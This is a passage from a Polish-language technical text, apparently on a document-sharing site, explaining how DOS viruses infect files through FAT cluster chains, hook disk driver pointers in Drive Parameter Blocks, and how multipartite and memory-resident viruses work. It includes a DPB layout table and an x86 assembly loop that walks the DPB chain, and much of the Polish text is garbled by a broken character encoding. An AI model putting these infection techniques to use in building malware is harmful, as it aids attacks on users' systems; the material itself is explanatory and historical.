pliku jest wielokrotnoúcià dùugoúci JAP). Wczytujàc plik DOS odczytuje z odpowiedniego pola katalogu numer pierwszej JAP i na jej podstawie, w miaræ kolejnych odczytów/zapisów do pliku, porusza siæ po ùañcuchu JAP, korzystajàc z danych zawartych w tablicy FAT.
Wirus infekujàcy przy uýyciu JAP zmienia w polu katalogu rozmiar danego pliku (najczæúciej na rozmiar jednej JAP) oraz wartoúã pierwszej JAP pliku, która wskazujàc na wirusa umoýliwia jego wczytanie niejako przed kod programu ùadowanego z dysku i w efekcie przejæcie kontroli nad systemem. Zainstalowany w pamiæci wirus ma nastæpnie moýliwoúã wczytania dalszej czæúci programu na podsta
wie przechowywanej oryginalnej wartoúci pierwszej JAP oraz dùugoúci pliku. W celu zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeã do wewnætrznych procedur systemu operacyjnego, przeznaczonych do obsùugi dysków. Najczæúciej realizuje siæ to poprzez odpowiednià zamianæ adresu procedury obsùugujàcej dysk, zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych przez system operacyjny podczas jego inicjacji dla wszystkich istniejàcych w systemie dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsùugi dysku logicznego przez system (czæúã danych znajduje siæ w bloku BPB dysku, zawartego w BOOT-sektorze).
Peùny opis bloku DPB zawarto w poniýszej tabeli.
Format bloku DPB
Adres |
Zawartoúã |
Numer dysku A:=0, B:=1, C:=2 |
|
Numer jednostki w programie obsùugi |
|
Wielkoúã sektora w bajtach |
|
log2 (liczba sektorów w JAP) |
|
Liczba zarezerwowanych sektorów na poczàtku dysku |
|
Iloúã kopii tablicy FAT (najczæúciej 2) |
|
09-0A |
Maksymalna iloúã plików w katalogu gùównym |
0B-0C |
Pierwszy sektor danych |
0F-10 |
Liczba sektorów na FAT |
Numer pierwszego sektora katalogu |
|
Daleki wskaênik do programu obsùugi dysku |
|
Bajt identyfikacji noúnika |
|
Znacznik dostæpu do dysku |
|
19-1C |
Daleki wskaênik do nastæpnego bloku DPB |
1D-1E |
Numer pierwszej wolnej JAP na dysku |
1F-20 |
Liczba wolnych JAP na dysku |
Adres pierwszego bloku DPB uzyskiwany jest najczæúciej przy uýyciu funkcji (52/21). Na podstawie danych w pierwszym DPB moýna przejúã (poruszajàc siæ po liúcie) do kolejnych bloków DPB. Realizuje to poniýsza sekwencja:
Przeszukiwanie ùañcucha DPB
mov AH,52h ; funkcja DOS - pobierz adres do listy list (LL)
INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, w
; kom≤rkach od ES:[BX] do ES:[BX+3] znajduje
; siΩ daleki wskaƒnik do pierwszego DPB
LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB
NastΩpnyDPB: ; pocz╣tek pΩtli
LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastΩpny bloku DPB, je┐eli jest
; to ostatni blok, to ES i BX zawieraj╣ OFFFFh,
MOV AX,ES ; weƒ segment
CMP AX,0FFFFh ; czy ES=OFFFFh ?
JNZ NastΩpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
CMP BX,AX ; czy BX=OFFFFh?
JNZ NastΩpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
4.5. Wirusy kombinowane (ang: multipartition)
Tego typu wirusy sà wirusami zawierajàcymi mechanizmy infekcji róýnych obiektów.
W przypadku, gdy wirus zaraýa pliki uruchamialne (EXE, COM), a takýe sektor tablicy partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa siæ go wirusem typu multipartition. Ze wzglædu na szerokà gamæ zaraýanych przez siebie ofiar, wirusy tego typu bardzo szybko rozprzestrzeniajà siæ w systemie komputerowym.
Pamiæã przydzielana programom przez system DOS jest zwalniana zaraz po ich zakoñczeniu, stàd teý wirus rezydentny, chcàc przejmowaã przerwania, musi wygospodarowaã sobie jakiú fragment w pamiæci, do którego moýe siæ skopiowaã, aby nie zostaã zamazanym przez kod innego programu, wczytywanego do zwolnionych przez system obszarów pamiæci.
Do instalacji moýna wykorzystaã dowolny fragment pamiæci, który na pewno nie zostanie wykorzystany i zamazany przez ýaden inny program (co skoñczyùoby siæ prædzej czy póêniej zawieszeniem komputera, gdyý zostaùaby zamazana procedura obsùugi przejætego przerwania).
Politica de confidentialitate | Termeni si conditii de utilizare |
Vizualizari: 816
Importanta:
Termeni si conditii de utilizare | Contact
© SCRIGROUP 2025 . All rights reserved